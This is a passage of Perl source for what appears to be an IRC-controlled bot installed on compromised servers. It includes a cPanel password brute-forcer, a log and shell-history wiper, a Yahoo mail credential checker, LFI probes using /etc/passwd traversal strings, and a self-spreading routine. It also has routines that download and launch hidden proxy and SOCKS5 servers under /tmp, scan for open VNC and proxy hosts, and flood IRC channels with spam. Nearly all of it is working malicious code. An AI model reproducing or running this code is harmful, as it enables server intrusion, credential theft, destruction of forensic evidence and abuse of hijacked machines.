LWP::UserAgent;"; .if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12LWP..::..12UserAgent.. Missing!") if ($warn ed); .exit(0); .} } sub getnsave() { .my ( $msg, $url, $file ) = @_; .eval "use LWP::Simple;"; .my $dir=`pwd`; .my $two = getstore($url,$file); .if ($two =~ /200/) { ..if (-f $file) { sendraw($IRC_cur_socket, "PRIVMSG $msg :".$file." saved in ".$dir.""); } ..else { sendraw($IRC_cur_socket, "PRIVMSG $msg :(..4Error..) .Download Failed."); } .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Error: ".$two.""); } } sub uridecoder() { .my ( $msg, $str ) = @_; .my $strcode = uri_escape($str); .eval "use URI::Escape;"; .if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12URI..::..12Escape.. Needed."); ..return; .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :.15(..12UrlDecoder..15). $strcode"); } sub vxPanelBrute() { .my ( $msg, $haddr, $cuser, $cport ) = @_; .my $countcp=0;my @cpwd;my $cpanelpwds=".xeQt.txt"; .eval "use IO::Socket;"; .eval "use LWP::Simple;"; .eval "use MIME::Base64;"; if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12MIME..::..12Base64.. Most important module!"); ..return; .} .my $GetDict = getstore('http://www.milw0rm.com/mil-dic.php',$cpanelpwds); .if ($GetDict =~ /200/) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Downloading PassWord File From Milw0rm."); ..if (-f $cpanelpwds) { ...open(PWDS,$cpanelpwds); ...while ( my $cpwds = <PWDS>) { ....push(@cpwd,$cpwds); ...} ...close(PWDS); ..} .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Cannot Get PassWord List Fr om Milw0rm! Using Default List.");@cpwd=@cpanelpasswds; } .sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12cPanel..). $haddr :: ".scalar(@cpwd)." Passwords."); .foreach my $P (@cpwd) { ..$countcp++; ..chomp $P; ..$passwd = $P; ..$authx = encode_base64($cuser.":".$passwd); ..my $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$haddr,PeerPort=>$cport) || die "error: $!\n"; ..print $sock "GET / HTTP/1.1\nAuthorization: Basic $authx\nConnection: Close\n\n"; ..read $sock, $answer, 128; ..close($sock); ..if ($answer =~ /Moved/) { ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..10Cpanel.Login..). $haddr:$cport - l/p:$cuser:$passwd - Exit."); ...return; ..} .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :(cPanel Brutus) Done With: ".$haddr." :: (".$countcp.") Pass Tested!"); } sub wiiCleaner() { .my ( $msg ) = @_; .if (fork() == 0) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12LogWiper..). xeQting Files.."); ..unlink($0); ..system 'rm -rf /var/log/lastlog;touch /var/log/lastlog'; ..system 'rm -rf /var/log/wtmp;touch /var/log/wtmp'; ..system 'rm -rf /etc/wtmp'; ..system 'rm -rf /var/run/utmp'; ..system 'rm -rf /etc/utmp'; ..system 'rm -rf /var/log'; ..system 'rm -rf /var/logs'; ..system 'rm -rf /var/adm'; ..system 'rm -rf /var/apache/log'; ..system 'rm -rf /var/apache/logs'; ..system 'rm -rf /usr/local/apache/log'; ..system 'rm -rf /usr/local/apache/logs'; ..system 'rm -rf /root/.bash_history'; ..system 'rm -rf /root/.ksh_history'; ..sleep 4; ..system 'find / -name *.bash_history -exec rm -rf {} \;'; ..system 'find / -name *.bash_logout -exec rm -rf {} \;'; ..system 'find / -name "log*" -exec rm -rf {} \;'; ..system 'find / -name *.log -exec rm -rf {} \;'; ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(LogWiper) Wiper Wiped Out All Files."); ..exit(0); .} } sub yahooVerifyer() { .my ( $msg, $ymail, $ypass ) = @_; .eval "use LW P::UserAgent;"; if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12LWP..::..12UserAgent.. Needed To Login To YahooMail.");return; .} .$ua = LWP::UserAgent->new; .$ua->agent(@useragents[int(rand(scalar(@useragents)))]); .my $response = $ua->get("https://login.yahoo.com/config/login?login=$ymail&passwd=$ypass"); .if ($response->is_success) { ..if (($response->content =~ m/Invalid ID/i) || ($response->content =~ m/This ID/i)) { sendraw($IRC_cur_socket, "PRIVMSG $msg :Error: Wrong login or email address.."); } ..elsif ($response->content =~ m/Unable to/i) { sendraw($IRC_cur_socket, "PRIVMSG $msg :Error 999. Exit.."); return; } ..else { sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12YahooMail..). $ymail:$ypass - Vailed."); } .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :NO Response From Yahoo! exit.."); } } sub xeqt_back() { .my ( $msg, $hxeQter ) = @_; .my $spreaded = &spisern($hxeQter); .if ($spreaded =~ m/X.BC.Failed.Socket!/) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Spreader Failed ! Socket Error."); .} .elsif ($spreaded =~ m/X.BC.Connect.Error!/) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Spreader Failed! Connect Error."); .} .elsif ($spreaded =~ m/X.BC.xeQted./) { ..#sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..4Spreader..). xeQted.."); .} } sub Base64_EncodeDecode() { .my ( $msg, $mode, $str ) = @_; .eval "use MIME::Base64;"; if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..12MIME..::..12Ba se64.. Required!");return; .} .if ($mode eq "encode") { ..my $encoders = encode_base64($str); ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(.12Base64._.12Encode.) ".$encoders.""); .} .elsif ($mode eq "decode") { ..my $decoders = decode_base64($str); ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(.12Base64._.12Decode.) ".$decoders.""); .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :(.12Base64.) Error Mode: encode vS. decode"); } } sub Verify_Modules() { .my ( $msg ) = @_; .eval "use IO:Socket;"; if ($@) { $iosock="..4NO.."; } else { $iosock="..9Yes.."; } .eval "use LWP::Simple;"; if ($@) { $lwpsim="..4NO.."; } else { $lwpsim="..9Yes.."; } .eval "use MIME::Base64;"; if ($@) { $base64="..4NO.."; } else { $base64="..9Yes.."; } .eval "use LWP::UserAgent;"; if ($@) { $lwps="..4NO.."; } else { $lwps="..9Yes.."; } .eval "use HTTP::Request;"; if ($@) { $httpreq="..4NO.."; } else { $httpreq="..9Yes.."; } .eval "use URI::Escape;"; if ($@) { $uriesc="..4NO.."; } else { $uriesc="..9Yes.."; } .eval "use Ne t::IRC;"; if ($@) { $netirc="..4NO.."; } else { $netirc="..9Yes.."; } .eval "use Net::RawIP;"; if ($@) { $netraw="..4NO.."; } else { $netraw="..9Yes.."; } .eval "use Net::SMTP;"; if ($@) { $netsmtp="..4NO.."; } else { $netsmtp="..9Yes.."; } .eval "use Authen::SASL;"; if ($@) { $sasl="..4NO.."; } else { $sasl="..9Yes.."; } .eval "use Net::PcapUtils;"; if ($@) { $pcaputl="..4NO.."; } else { $pcaputl="..9Yes.."; } .eval "use NetPa cket::ARP;"; if ($@) { $netarp="..4NO.."; } else { $netarp="..9Yes.."; } .eval "use Data::Dumper;"; if ($@) { $datadump="..4NO.."; } else { $datadump="..9Yes.."; } .eval "use Net::SSL;"; if ($@) { $netssl="..4NO.."; } else { $netssl="..9Yes.."; } .eval "use Crypt::Blowfish;"; if ($@) { $blowfish="..4NO.."; } else { $blowfish="..9Yes.."; } .eval "use Proc::ProcessTable;"; if ($@) { $proctbl="..4NO.."; } else { $proctbl="..9Yes.."; } .eval "use DBI;"; if ($@) { $dbi="..4NO.."; } else { $dbi="..9Yes.."; } .eval "use Net::DNS;"; if ($@) { $ndns="..4NO.."; } else { $ndns="..9Yes.."; } .eval "use Net::FTP;"; if ($@) { $nftp="..4NO.."; } else { $nftp="..9Yes.."; } .eval "use Net::Telnet;"; if ($@) { $telnetd="..4NO.."; } else { $telnetd="..9Yes.."; } .eval "use Net::SSH::Perl;"; if ($@) { $sshd="..4NO.."; } else { $sshd="..9Yes.."; } .notice($msg,"LwpAgent:$lwps, HttpReq:$httpreq, LwpSimple:$lwpsim, Base64:$base64, URI:$uriesc, NetSSL:$netssl, NetIrc:$netirc, NetRaw:$netraw, SMTP/Auth:".$netsmtp."/".$sasl. ", Pcap:$pcaputl, ARPack:$netarp, DataDumper:$datadump, BlowFish:$blowfish, DBI:$dbi, ProcTable:$proctbl, DNS:$ndns, FTP:$nftp, Telnet:$telnetd, SSH:$sshd"); } sub SingleChecking() { .my ( $msg, $side, $fullchk ) = @_; .my @lfitest = ("/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd", ."../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../. ./../../../../../../etc/passwd", ."../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd", ."../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd","/etc/passwd%00","../etc/passwd%00", ."../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00", ."../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00", ."../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00"); .( my $phpst ) = split( /=/, $side); .if ($fullchk) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(.12RFI.::.12XSS.::.12LFI.) ".fiks_url($phpst)."="); ..my $arg = $phpst."="; ..&vulntester($msg,$arg); ..&xsScan($msg,$arg); .} .if (fork() == 0) { ..foreach $testsite (@lfitest) { ...my $address = fiks_url($phpst); ...my $var = $address."=".$testsite; ...my $lfitest = &spisern($var); ...if ($lfitest =~ /root:x:/ && $lfitest =~ /cpanel/i) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :(..4LFI.+.4Cpanel..) $var"); ....exit(0); ...} ...elsif ($lfitest =~ /root:*:/ && $lfitest =~ /cpanel/i) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :(..4LFI.+.4Cpanel..) $var"); ....exit(0); ...} ...elsif ($lfitest =~ /root:x:/ || $ lfitest =~ /root:*:/) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :(..4Local..) $var"); ....exit(0); ...} ..} ..if ($fullchk) { sendraw($IRC_cur_socket, "PRIVMSG $msg :Single Host Checker Done."); } ..exit(0); .} } sub ApacheVersion() { .my ( $msg, $siden ) = @_; .my $wwwport=80; .if ($siden =~ m/(\S+)\s+(\d+)/) { $wwwport=$2; } .socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname('tcp')) || die "cannot open socket: $!"; .connect(SOCK,sockaddr_in($wwwport,inet_aton($siden))) || die "cannot connect: $!"; .send(SOCK,"HEAD / HTTP/1.0\r\n\r\n",0); .while (<SOCK>) { ..if($_ =~ /Server: (.*)/) { ...sendraw($IRC_cur_socket, "PRIVMSG $msg :Version: $1"); ..} .} .close(SOCK); } sub vxDnsLookUp() { .my ( $msg, $mark ) = @_; .eval "use Net::DNS;"; if ($@) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :I Needed .12Net.::.12DNS. To DNS Resolve.");return; .} .my $res = Net::DNS::Resolver->new; .my $query = $res->search($mark); .if ($query) { ..foreach my $rr ($query->answer) { ..next unless $rr->type eq "A"; ..sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12xDNS..) ".$mark." :: ".$rr->address.""); ..} .} .else { ..if ($res->errorstring =~ /NXDOMAIN/) { sendraw($IRC_cur_socket, "PRIVMSG $msg :NXDOMAIN: Cannot lookup hostname!"); } ..else { sendraw($IRC_cur_socket, "PRIVMSG $msg :DNS LookUP Failed: ".$res->errorstring.""); } .} } sub Spredern() { .my ( $chan, $spreadlink ) = @_; .$spreadlink =~ s/^http:\/\///; .my $host = $spreadlink; .my $query= $spreadlink; .my $page = ""; .$host =~ s/href=\"?http:\/\///; .$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; .$query =~ s/$host//; .if ($query eq "") { ..$query="/"; .}; .my $spsock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp",Timeout=>"10") or return; .print $spsock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; .close($spsock); } sub CheckImages() { .my ( $chan ) = @_; .my $htmlsrcs = &spisern($cmdsh); .if ($htmlsrcs !~ /f7f32504cabcb48c21030c024c6e5c1a/) { ..sendraw($IRC_cur_socket, "PRIVMSG $chan :Dead Shell."); ..exit(0); .} } sub TestVNC() { .my ( $msg, $VncHost, $VncPort ) = @_; .my $vsock; .my $proto_ver; .my $ignored; .my $auth_type; .my $sec_types; .my $vnc_data; .if (fork() == 0) { ..unless ($vsock = IO::Socket::INET->new(PeerAddr=>$VncHost,PeerPort=>$VncPort,Proto=>'tcp',)) { ...exit(0); ..} ..$vsock->read($proto_ver, 12); ..print $v sock $proto_ver; ..$vsock->read($sec_types, 1); ..$vsock->read($ignored, unpack('C', $sec_types)); ..print $vsock "\x01"; ..$vsock->read($auth_type, 4); ..if (unpack('I', $auth_type)) { ...close($vsock); ...exit(0); ..} ..print $vsock "\x01"; ..$vsock->read($vnc_data, 4); ..(unpack('I', $vnc_data)) ? sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12VNC..) ".$VncHost.":".$VncPort." - ".$proto_ver."") : exit(0); ..close($vsock ); ..exit(0); .} } sub TestProxyOnGoogle() { .my ( $msg, $phost, $pportn ) = @_; .eval "use LWP::UserAgent;"; if ($@) { return; } .eval "use HTTP::Request;"; if ($@) { return; } .my $pQuery = "http://".$phost.":".$pportn."/"; .if (fork() == 0) { ..my $ua = LWP::UserAgent->new; ..$ua->timeout(7); ..$ua->env_proxy; ..$ua->proxy('http',$pQuery); ..my $response = $ua->get("http://www.perl.org/"); ..if ($response->is_success && $response->content =~ /The Perl Directory/i) { ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12Proxy..) ".$phost.":".$pportn.""); ..} ..exit(0); .} } sub Socks5Scan() { .my ( $msg, $s5host, $s5port ) = @_; .eval "use IO::Socket::Socks;";if ($@) { return; } .if (fork() == 0) { ..my $socks5 = new IO::Socket::Socks(ProxyAddr=>$s5host,ProxyPort=>$s5port,ConnectAddr=>"eu.undernet.org",ConnectPort=>"6667"); ..if (!defined($socks5)) { ...exit(0); ..} ..print $socks5 "foo\n"; .$socks5->close(); ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12Socks5..). Server : ".$s5host.":".$s5port.""); ..exit(0); .} } sub InstProxySrv() { .my ( $msg, $prPort ) = @_; .my $prsock; .my $ProxyFile = "/tmp/.mysql.socks"; .if ($cmoff) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :LWP::Simple Is Needed! Exit."); ..return; .} .if (!$BotIp) { ..my $myipquery = &spisern("http://www.myip.dk/"); ..if ($myipquery =~ /<title>Your IP: (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})<\/title>/) { ...$BotIp = $1.". ".$2.".".$3.".".$4; ..} .} .if (-f $ProxyFile) { unlink($ProxyFile); } .my $prSock = getstore($pURL,$ProxyFile); .if ($prSock =~ /200/) { ..if (-f $ProxyFile) { ...system("perl /tmp/.mysql.socks -l $prPort -x $BotIp -r ".$0."&"); ...unless ($prsock = IO::Socket::INET->new(PeerAddr=>$BotIp,PeerPort=>$prPort,Proto=>'tcp',Timeout=>10)) { ....sendraw($IRC_cur_socket, "PRIVMSG $msg :Proxy Failed: ..4Cannot Open Port..."); ....return; ...} ...sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12ProxyServer..) ".$BotIp.":".$prPort.""); ..} ..else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Proxy Server Failed: ..4Cannot Write To File..."); } .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Error: $prSock"); } } sub Socks5xeQter() { .my ( $msg, $s5port ) = @_; .if ($cmoff) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :LWP::Simple Required To Start Socks5 Server."); ..return; .} .my $Socks5Pack = "Socks5.tar.gz"; .my $Socks5Dir = "/tmp/.font_unix"; .unlink($Socks5Dir); .unlink("mocks.conf"); .unli nk($Socks5Pack); .chdir("/tmp/"); .if ($s5port =~ m/stop|die|exit/i) { ..system("cd /tmp/.font_unix/;./mocks stos;killall -9 mocks"); ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Socks5 Server Stopped!"); ..return; .} .if (!$BotIp) { ..my $myipquery = &spisern("http://www.myip.dk/"); ..if ($myipquery =~ /<title>Your IP: (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})<\/title>/) { ...$BotIp = $1.".".$2.".".$3.".".$4; ..} .} .my @So cks5CMD = ("tar -zxvf Socks5.tar.gz","rm -rf Socks5.tar.gz","touch /tmp/.font_unix/mocks.log","chmod 0 /tmp/.font_unix/mocks.log","killall -9 mocks","/tmp/.font_unix/mocks stop"); .my @WrtSock5 = ("PORT = $s5port","MOCKS_ADDR = $BotIp","LOG_FILE = mocks.log","PID_FILE = mocks.pid","BUFFER_SIZE = 65536","BACKLOG = 5","NEGOTIATION_TIMEOUT = 5","CONNECTION_IDLE_TIMEOUT = 300","BIND_TIMEOUT = 30","SHUTDOWN_TIMEOUT = 3","MAX_CONNECTIONS = 50","FILTER_POLICY = ALLOW"); .my $Socks5er = getstore($Socks5URL,$Socks5Pack); .if ($Socks5er =~ /200/) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Installing Socks5 Server."); ..foreach (@Socks5CMD) { ...system($_); ...sleep 1; ..} ..chdir($Socks5Dir); ..open(SocksFile,">mocks.conf") || die "error: $!\n"; ..foreach (@WrtSock5) { print SocksFile $_."\n"; } ..close(SocksFile); ..if (`uname -s` =~ /Linux/i) { ...if (-f "/tmp/.font_unix/mocks.conf") { ....system("cd /tmp/.font_unix/;./mocks start -f"); ...} ...else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Socks5 F ailed! Write Config File.");return; } ..} ..else { if (-f "/tmp/.font_unix/mocks.conf") { ....system("cd /tmp/.font_unix/;chmod +x install;rm -rf mocks;sh install;sleep 2"); ....if (-f "/tmp/.font_unix/mocks" || -x "/tmp/.font_unix/mocks") { .....system("cd /tmp/.font_unix/;./mocks start -f"); ....} ....else { sendraw($IRC_cur_socket, "PRIVMSG $msg :Socks5 Failed: Compile Errors..");return; } ...} ...else { sendraw($IRC_cur _socket, "PRIVMSG $msg :Socks5 Failed! Write Config File.");return; } ..} ..unless ($scsock = IO::Socket::INET->new(PeerAddr=>$BotIp,PeerPort=>$s5port,Proto=>'tcp',Timeout=>10)) { ...sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12.S.ocks.5..) Server Refused To Open Port."); ...unlink($Socks5Dir); ...return; ..} ..sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12.S.ocks.5..) ".$BotIp.":".$s5port); .} .else { sendraw($IRC_cur_socket, "PRIVMSG $msg :.(..12.S.ocks.5..) Failed: $Socks5er"); } } sub SpamBoten() { .my ( $msg ) = @_; .my $msgcnt=0; .if (fork() == 0) { ..notice($sendnick,"(x) Joining Messenger Channels."); ..foreach $chnel (@spchan) { ...j($chnel); ...sleep 5; ..} ..notice($sendnick,"(x) Starting Messenger."); ..sleep 5; ..while ($msgcnt < 10000) { ...foreach $spmsgch (@spchan) { ....msg($spmsgch,$spammsg); ....sleep 7; ...} ...$msgcnt++; ...sleep 70; ..} ..notice($sendnick,"(x) Messenger Done."); ..exit(0); .} }